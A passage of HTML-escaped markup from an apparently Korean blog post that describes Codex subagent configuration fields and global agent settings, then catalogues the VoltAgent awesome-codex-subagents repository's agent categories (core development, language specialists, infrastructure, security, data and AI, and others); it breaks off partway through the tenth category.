&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;실행 권한: &lt;code&gt;&quot;read-only&quot;&lt;/code&gt; 또는 &lt;code&gt;&quot;workspace-write&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;&quot;read-only&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;nickname_candidates&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;선택&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;표시용 닉네임 배열. 다중 인스턴스 구분에 유용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;[&quot;Alice&quot;, &quot;Bob&quot;]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;mcp_servers&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;선택&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;연결할 MCP 서버 목록&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;배열&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;전역 설정 (config.toml의 [agents] 섹션)&lt;/b&gt;&lt;br /&gt;&amp;bull; &lt;code&gt;agents.max_threads = 6&lt;/code&gt; &amp;mdash; 동시 실행 스레드 상한 (기본값: 6)&lt;br /&gt;&amp;bull; &lt;code&gt;agents.max_depth = 1&lt;/code&gt; &amp;mdash; 서브에이전트 중첩 깊이 (기본값: 1). 높이면 반복 위임으로 토큰&amp;middot;지연 증가&lt;br /&gt;&amp;bull; &lt;code&gt;agents.job_max_runtime_seconds&lt;/code&gt; &amp;mdash; CSV 배치 작업 타임아웃&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Section 3 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;3. awesome-codex-subagents 프로젝트&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;VoltAgent: 에이전트 생태계 빌더&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VoltAgent&lt;/a&gt;는 AI 에이전트 도구 생태계 구축에 집중하는 오픈소스 그룹이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;awesome-codex-subagents&lt;/code&gt; 외에도 &lt;code&gt;awesome-claude-code-subagents&lt;/code&gt;, &lt;code&gt;awesome-agent-skills&lt;/code&gt;(12.9k Stars, 멀티플랫폼) 등을 운영한다. 세 저장소 모두 MIT 라이선스로 공개되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;awesome-codex-subagents&lt;/code&gt;는 2026-03-17에 생성된 저장소로, &quot;공식 문서에 맞게 작성된, 즉시 사용 가능한 136개 에이전트&quot;를 표방한다. 이 글에서는 별도 캡처를 남기지 않은 시계열 Stars/Forks 수치보다, 현재 확인 가능한 구조와 실제파일&amp;nbsp;구성을&amp;nbsp;중심으로&amp;nbsp;다룬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;10개 카테고리 136+ 에이전트 정리&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;카테고리 구조와 각 카테고리의 주요 에이전트를 정리했다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;(출처:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a style=&quot;color: #0070d1;&quot; href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot;&gt;VoltAgent/awesome-codex-subagents README&lt;/a&gt;)&lt;/p&gt;
&lt;!-- Category 1 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;1&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;핵심 개발 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Core Development&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;12개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;백엔드&amp;middot;프론트엔드&amp;middot;풀스택&amp;middot;API 설계 등 &lt;b&gt;언어에 종속되지 않는 범용 개발 역할&lt;/b&gt;을 담당한다. 특정 언어 전문가가 필요하면 카테고리 2를 쓴다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;backend-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;frontend-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;fullstack-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;api-designer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;websocket-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;graphql-architect&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 2 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;2&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;언어 전문가 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Language Specialists&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #d4edda; color: #155724; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;27개 &amp;mdash; 가장 많음&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;특정 언어&amp;middot;프레임워크에 최적화된 전문가&lt;/b&gt;. Python, TypeScript, Rust, Go, Java 등 언어별 관용구&amp;middot;패턴&amp;middot;생태계까지 이해하고 작업한다. 136개 중 가장 많은 27개가 여기에 있다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;python-pro&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;typescript-pro&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;nextjs-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;spring-boot-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;rust-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;golang-pro&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;react-specialist&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;java-architect&lt;/span&gt; &lt;span style=&quot;color: #888; font-size: 12px; padding: 3px 6px; align-self: center;&quot;&gt;외 19개&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 3 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;3&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;인프라 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Infrastructure&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;16개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;DevOps&amp;middot;클라우드&amp;middot;IaC&amp;middot;컨테이너&lt;/b&gt; 영역. CI/CD 파이프라인, Kubernetes 클러스터, Terraform 모듈, 인시던트 대응까지 다룬다. 인프라 코드 리뷰에 바로 투입 가능하다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;devops-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;kubernetes-specialist&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;terraform-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;cloud-architect&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;sre-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;incident-responder&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 4 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;4&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;품질 &amp;amp; 보안 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Quality &amp;amp; Security&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;16개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;코드 리뷰&amp;middot;보안 감사&amp;middot;테스트&amp;middot;디버깅&lt;/b&gt; 전담. PR 리뷰 시 &lt;code&gt;code-reviewer&lt;/code&gt;(품질)와 &lt;code&gt;security-auditor&lt;/code&gt;(보안)를 병렬로 실행하면 두 관점을 동시에 얻는다. &lt;code&gt;sandbox_mode = &quot;read-only&quot;&lt;/code&gt; 설정 권장.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #fff0f0; border: 1px solid #ffb3b3; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;security-auditor&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;code-reviewer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;debugger&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;qa-expert&lt;/span&gt; &lt;span style=&quot;background-color: #fff0f0; border: 1px solid #ffb3b3; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;penetration-tester&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;performance-engineer&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 5 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;5&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;데이터 &amp;amp; AI &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Data &amp;amp; AI&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;12개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;ML&amp;middot;LLM&amp;middot;RAG&amp;middot;데이터 파이프라인&amp;middot;DB 최적화&lt;/b&gt; 전문가 모음. &lt;code&gt;llm-architect&lt;/code&gt;는 RAG 파이프라인 설계, &lt;code&gt;database-optimizer&lt;/code&gt;는 쿼리 튜닝에 특화되어 있다. AI 서비스 구축 시 가장 자주 호출되는 카테고리다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;llm-architect&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;data-scientist&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;ml-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;postgres-pro&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;database-optimizer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;nlp-engineer&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 6 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;6&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;개발자 경험 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Developer Experience&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;13개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;문서화&amp;middot;레거시 개선&amp;middot;툴링&amp;middot;리팩토링&lt;/b&gt; 전문가. 코드를 새로 짜는 것이 아니라 기존 코드의 품질을 높이고 유지보수를 쉽게 만드는 역할에 집중한다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;documentation-engineer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;refactoring-specialist&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;legacy-modernizer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;dx-optimizer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;git-workflow-manager&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 7 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;7&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;특수 도메인 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Specialized Domains&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;12개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;블록체인&amp;middot;게임&amp;middot;임베디드&amp;middot;모바일&lt;/b&gt; 등 범용 개발 카테고리로 커버하기 어려운 특수 도메인 전문가. 해당 영역 프로젝트가 있을 때만 선택적으로 설치하면 된다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;blockchain-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;game-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;mobile-developer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;electron-pro&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 8 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;8&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;비즈니스 &amp;amp; 프로덕트 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Business &amp;amp; Product&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;11개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;PM&amp;middot;비즈니스 분석&amp;middot;기술 문서&amp;middot;UX 리서치&lt;/b&gt; 역할. 개발자 혼자 PM 업무까지 겸하는 스타트업이나 1인 팀에서 활용도가 높다. 요구사항 정리나 사용자 스토리 작성에 유용하다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;product-manager&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;business-analyst&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;technical-writer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;ux-researcher&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 9 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;9&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;메타 &amp;amp; 오케스트레이션 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Meta &amp;amp; Orchestration&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #fff3cd; color: #856404; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;10개 &amp;mdash; 고급&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; color: #444;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;&quot;에이전트를 조율하는 에이전트&quot;&lt;/b&gt;. 복잡한 작업을 서브태스크로 분해하고 다른 에이전트에 위임하는 오케스트레이터 역할이다. 서브에이전트 기능에 익숙해진 후 도전하면 된다.&lt;/p&gt;
&lt;div style=&quot;display: flex; flex-wrap: wrap; gap: 7px;&quot;&gt;&lt;span style=&quot;background-color: #fff8e8; border: 1px solid #ffd77a; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;orchestrator&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;task-decomposer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;architect-reviewer&lt;/span&gt; &lt;span style=&quot;background-color: #f0f7ff; border: 1px solid #b3d9ff; border-radius: 6px; padding: 3px 10px; font-size: 13px; font-family: monospace;&quot;&gt;code-mapper&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- Category 10 --&gt;
&lt;div style=&quot;border: 1px solid #dde8f5; border-radius: 10px; margin: 16px 0; overflow: hidden;&quot;&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 12px 18px; display: flex; align-items: center; gap: 12px;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: #fff; font-size: 12px; font-weight: bold; padding: 3px 9px; border-radius: 20px;&quot;&gt;10&lt;/span&gt; &lt;span style=&quot;font-weight: bold; font-size: 17px; color: #1a3a52;&quot;&gt;리서치 &amp;amp; 분석 &lt;span style=&quot;font-weight: 400; font-size: 13px; color: #555;&quot;&gt;Research &amp;amp; Analysis&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;margin-left: auto; background-color: #cce5ff; color: #0055aa; font-size: 12px; font-weight: 600; padding: 2px 10px; border-radius: 12px;&quot;&gt;7개&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;padding: 14px 18px;&quot;&gt;
